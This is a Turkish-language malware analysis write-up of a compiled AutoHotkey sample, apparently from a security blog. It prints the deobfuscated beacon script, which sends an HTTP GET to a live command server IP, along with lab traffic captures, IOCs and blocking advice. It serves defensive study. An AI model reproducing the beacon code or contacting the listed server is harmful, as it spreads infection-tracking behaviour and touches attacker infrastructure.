Tango Scramble 2: AutoHotkey Analizi
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
Bu yazımızda, derlenmiş bir AutoHotkey (AHK) script’i formatında olan ve temel amacı uzak sunucuya HTTP Request göndermek olan bir zararlı yazılım parçasını (ya da test aracını) analiz edeceğiz. Analizini gerçekleştirdiğimiz dosya, MalwareBazaar üzerinde yer almaktadır.
İlk bakışta karşımıza çıkan analiz bulgularımız:
Analiz sonuçlarında, özellikle socket gibi ağ bağlantısı gerçekleştirebilecek kütüphanelerin barındırılması oldukça kritik bir nokta. Ayrıca incelediğimiz diğer raporlarda (VirusTotal, JoeSandbox ve ANY.RUN) da benzer detaylara rastlanmaktadır:
Özellikle ANY.RUN üzerinden yaptığımız ilk testlerde herhangi bir tespit (alert) oluşmadı ve bir şeylerin eksik olduğunu düşündük:
Ancak dosyanın obfuscated string’ler içermesi ve içerisinde bir internet bağlantısı kütüphanesi barındırması nedeniyle analizi derinleştirmeye karar verilmiştir. String analizi ve deobfuscation süreçleri sonucunda AutoHotkey dosyası içerisine gizlenmiş şu komut dosyasını yakalanmıştır:
Script kodu şu şekildedir:
; <COMPILER: v1.1.37.02>
#NoTrayIcon
whr := ComObjCreate("WinHttp.WinHttpRequest.5.1")
whr.Open("GET", "http://178.16.52.65/success?s=zztest&substr=two", true)
whr.Send()
whr.WaitForResponse()
ExitApp
Dinamik analiz aşamasına geçmek için izole edilmiş laboratuvar ortamımızda cihazımızı INetSim kullanarak güvenli bir ağa bağladık. Analize başlamadan önce mevcut temiz durumun (snapshot) alındığından emin olarak Wireshark ve Process Monitor (Procmon) ile dinleme işlemlerini başlattık.
Zararlıyı ilk çalıştırdığımızda hedefi (veya komut sunucusunu) bulamadığı için hızlıca kendisini kapattığını (exit) gördük:
Procmon: Zararlının Çalışması ve Kapanması
İşlemin Sonlandırıldığının Doğrulanması
Ancak INetSim’i aktif hale getirdiğimizde zararlı yazılım, aradığı hedefe (sanal ortama) ulaştığını düşünerek beklediğimiz HTTP ağ isteğini attı:
Wireshark: Tespit Edilen Request Aktivitesi
Görüldüğü üzere laboratuvar ortamında sunucu taklidi yaptığımızda 178.16.52.65 adresine yönelik başarılı bir GET isteği gerçekleşti.
Yönetici Özeti
Yapılan analiz sonucunda incelenen örneğin Windows ortamında çalışan derlenmiş bir AutoHotkey (AHK) script’i olduğu tespit edilmiştir. Örnek çalıştırıldığında sistem üzerinde kalıcılık sağlayan veya zararlı payload indiren bir davranış göstermemekte, yalnızca belirli bir uzak sunucuya HTTP isteği göndermektedir.
Bu davranış, zararlı yazılım dağıtım kampanyalarında sıkça kullanılan telemetry veya infection tracking (enfeksiyon doğrulama) mekanizmalarına benzemektedir. Söz konusu program çalıştırıldığında aşağıdaki işlemi gerçekleştirmektedir:
- HTTP bağlantısı oluşturur
- Belirli bir URL’ye
GETisteği gönderir - Sunucudan cevap bekler
- Programı sonlandırır
Analiz sırasında herhangi bir dosya indirme, ek payload çalıştırma veya kalıcılık mekanizması gözlemlenmemiştir. Sandbox analizleri ve statik inceleme bulgularına göre bu örnek muhtemelen bir test ya da yarım kalmış bir zararlı yazılım olarak kullanılmıştır.
Teknik Analiz
Dosya Bilgileri
| Özellik | Değer |
|---|---|
| Dosya Tipi | Windows Executable |
| Derleme Türü | AutoHotkey compiled binary |
| SHA256 | 2aca019aa4a82ceaaa3a43c6ad0d2b45d7179f74d9b06fb9fd1b108559adc4f1 |
| Boyut | ~895 KB |
Sandbox analizine göre örnek AutoHotkey yorumlayıcısı ile derlenmiş bir script içermektedir.
Kod Analizi
Binary içerisinden çıkarılan script aşağıdaki işlemleri gerçekleştirmektedir:
WinHttpRequestCOM nesnesi oluşturulur.- HTTP
GETisteği hazırlanır. - Uzak sunucuya bağlantı kurulur.
- Sunucu cevabı beklenir.
- Program sonlandırılır (
ExitApp).
Kod içerisinde aşağıdaki davranışlara rastlanmamıştır:
- Payload indirme
- Dosya yazma
- Kalıcılık (Persistence) mekanizması
- Registry değişiklikleri
- Keylogging aktivitesi
- Ekran görüntüsü alma
- Komut yürütme
Davranış Analizi
Dinamik analiz sırasında programın yaptığı tek ağ iletişimi aşağıdaki gibidir:
1
2
GET /success?s=zztest&substr=two HTTP/1.1
Host: 178.16.52.65
Wireshark analizinde bağlantı akışı:
1
2
3
192.168.x.x -> 178.16.52.65:80 TCP SYN
192.168.x.x -> 178.16.52.65:80 HTTP GET
178.16.52.65 -> 192.168.x.x HTTP 200 OK
Program yanıt aldıktan sonra başarıyla sonlanmaktadır.
Sandbox Analizi
Sandbox tarafından raporlanan bazı özellikler şunlardır:
- Low level keyboard hook capability
- Clipboard erişimi
- Screenshot alma fonksiyonları
- Input kontrol fonksiyonları
- Debugger kontrolü
Ancak bu özellikler AutoHotkey interpreter içerisinde varsayılan olarak bulunan fonksiyonlardır ve analiz edilen script içerisinde aktif olarak kullanılmamaktadır. Sandbox tarafından gözlemlenen gerçek davranış yalnızca bir HTTP beacon atması, kısa süreli execution ve process exit sürecidir.
Olası Kullanım Senaryosu
Analiz edilen örnek aşağıdaki amaçlarla kullanılmış olabilir:
Infection Tracker (Enfeksiyon Doğrulama)
Ek bir payload çalıştırılmadan önce hedef sistemin internete çıkıp çıkamadığının veya AV / Sandbox tarafından engellenip engellenmediğinin doğrulanması işlemidir.
Test Beacon
HTTP isteği içindeki URL parametreleri (?s=zztest&substr=two), bu örneğin bizzat malware yazarları tarafından test amaçlı oluşturulmuş olabileceğini net bir şekilde düşündürmektedir.
IOC (Indicators of Compromise)
File Hash
1
SHA256: 2aca019aa4a82ceaaa3a43c6ad0d2b45d7179f74d9b06fb9fd1b108559adc4f1
Network Indicators
C2 / Telemetry Server:
1
178.16.52.65
HTTP Request:
1
http://178.16.52.65/success?s=zztest&substr=two
Risk Değerlendirmesi
Bu örnek tek başına veri çalma, sistem kontrolü ele geçirme veya zararlı bir payload indirme gibi kritik davranışlar sergilememektedir. Ancak, zararlı altyapının parçası olma ihtimali çok yüksektir. Bilinen malware dağıtım patternleri, gözlemlenen iletişim ve AutoHotkey tabanlı dropper/loader teknikleri bunu doğrular niteliktedir.
Sonuç
Analiz edilen örnek bir AutoHotkey tabanlı HTTP Request programıdır. Programın temel amacı uzak sunucuya bir doğrulama isteği göndererek çalıştırıldığını (veya sistemin uygunluğunu) bildirmektir. İncelenen versiyonda ek payload indirme veya sistem manipülasyonu bulunmamaktadır. Bu durum, incelenen programın bir test build veya telemetry aracı olduğunu güçlü bir şekilde ortaya koymaktadır.
Öneriler
- Ağ seviyesinde
178.16.52.65IP adresi bağlantıları engellenmeli, sistemlerde loglanmalı ve alarm üretmelidir. - Endpoint güvenlik sistemleri (EDR/AV), şüpheli (ve paketlenmiş) AutoHotkey (AHK) tabanlı executable dosyalarına karşı izleme yapmalıdır.
- Ortamda, bu droppera ait bir malware dağıtım (malware delivery) zincirinin diğer bileşenlerinin var olup olmadığı detaylıca araştırılmalıdır.






